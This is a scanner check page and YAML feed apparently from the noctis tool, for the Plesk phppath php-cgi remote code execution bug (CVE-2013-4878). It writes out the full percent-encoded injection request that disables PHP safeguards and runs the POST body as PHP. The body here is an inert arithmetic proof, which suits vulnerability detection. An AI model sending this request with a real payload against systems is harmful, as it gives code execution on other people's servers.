Plesk — 1 vulnerability check
noctis ships 1 vulnerability check for Plesk, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Parallels Plesk Panel phppath php-cgi argument injection RCE
| CVE | CVE-2013-4878 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, tcp_connect, match · highest QoD 97 |
| Feed | tests/vulnerabilities/plesk/CVE-2013-4878.yaml |
Parallels Plesk Panel 9.0.x / 9.2.x (and Small Business Panel 10.x) on UNIX ship an improper ScriptAlias for /phppath, which exposes the php-cgi binary. A query string without "=" is handed to php-cgi as command-line switches, so "-d auto_prepend_file=php://input" makes it run the POST body as PHP. This feed POSTs an inert arithmetic expression to the percent-encoded /phppath/php and confirms the evaluated result is returned.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
POST /%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%7… - Parses / computes the next value with a Rhai script
- Checks
check.evaluatedfor^true$→ finding QoD 97: Plesk phppath php-cgi argument injection RCE (CVE-2013-4878)
References:
Feed source — tests/vulnerabilities/plesk/CVE-2013-4878.yaml
# Parallels Plesk Panel phppath ScriptAlias php-cgi argument injection RCE
# CVE-2013-4878 (issue #1731 also lists CVE-2013-3843, which NVD records as a
# Monkey HTTP Daemon overflow, unrelated to Plesk — kept out of `cves:`).
#
# Ported from OpenVAS/Greenbone NVT `2013/gb_plesk_multiple_rce_vuln.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.803712, GPL-2.0-only). Same request: POST to the
# fully percent-encoded `/phppath/php` with the CVE-2012-1823 switch set
# (`-d allow_url_include=on -d auto_prepend_file=php://input -n` …).
#
# Deviation from the NASL (benign proof, Flo's rule): the body is not
# `system("id")` but an inert arithmetic expression
# `<?php echo "<marker>".(A*B);?>` with a random marker and random A, B per
# run. Only real PHP evaluation of the body produces `<marker><A*B>`; the body
# never contains it. No command runs, nothing is written. Addition: the
# `cgi.force_redirect=0` switches (the binary is requested directly).
#
# Raw `tcp_connect`: the percent-encoded path must reach the server verbatim.
uid: b1515855-3996-4ed6-969d-5040397c63d9
name: "Parallels Plesk Panel phppath php-cgi argument injection RCE (CVE-2013-4878)"
description: |
Parallels Plesk Panel 9.0.x / 9.2.x (and Small Business Panel 10.x) on UNIX
ship an improper ScriptAlias for /phppath, which exposes the php-cgi binary.
A query string without "=" is handed to php-cgi as command-line switches, so
"-d auto_prepend_file=php://input" makes it run the POST body as PHP. This
feed POSTs an inert arithmetic expression to the percent-encoded /phppath/php
and confirms the evaluated result is returned.
cves: [CVE-2013-4878]
cvss: 7.5
severity: high
category: rce
confidence_base: 0.25
tags: [plesk, parallels, php-cgi, rce, argument-injection, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2013-4878"
- "https://www.exploit-db.com/exploits/25986"
steps:
- id: build-payload
action: script
store_as: inj
code: |
let marker = "n" + rand_hex(5);
let a = rand_int(1000, 9999);
let b = rand_int(1000, 9999);
let body = "<?php echo \"" + marker + "\".(" + a.to_string() + "*" + b.to_string() + ");?>";
#{ body: body, len: strlen(body), token: marker + (a * b).to_string() }
- id: probe
action: tcp_connect
port: "{{port}}"
timeout_secs: 10
send: "POST /%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.0\r\nHost: {{target_host}}\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: {{inj.len}}\r\n\r\n{{inj.body}}"
store_as: probe_resp
- id: evaluate
action: script
store_as: check
code: |
let hay = if type_of(probe_resp.banner) == "string" { probe_resp.banner } else { "" };
#{ evaluated: stridx(hay, inj.token) >= 0 }
- id: confirm
action: match
source: check.evaluated
pattern: "^true$"
on_match:
finding:
title: "Plesk phppath php-cgi argument injection RCE (CVE-2013-4878)"
description: "The /phppath ScriptAlias exposes php-cgi, which accepted command-line switches from the query string: -d auto_prepend_file=php://input made it evaluate the request body as PHP. An inert arithmetic expression sent in the body came back evaluated."
remediation: "Upgrade Plesk to 11.0.9 or later, or apply the vendor fix removing the /phppath ScriptAlias and the php-cgi exposure."
confidence_delta: 0.70
qod: 97
evidence: "POST /phppath/php?-d+...+auto_prepend_file%3dphp://input — the inert arithmetic body was returned evaluated (PHP code execution confirmed)"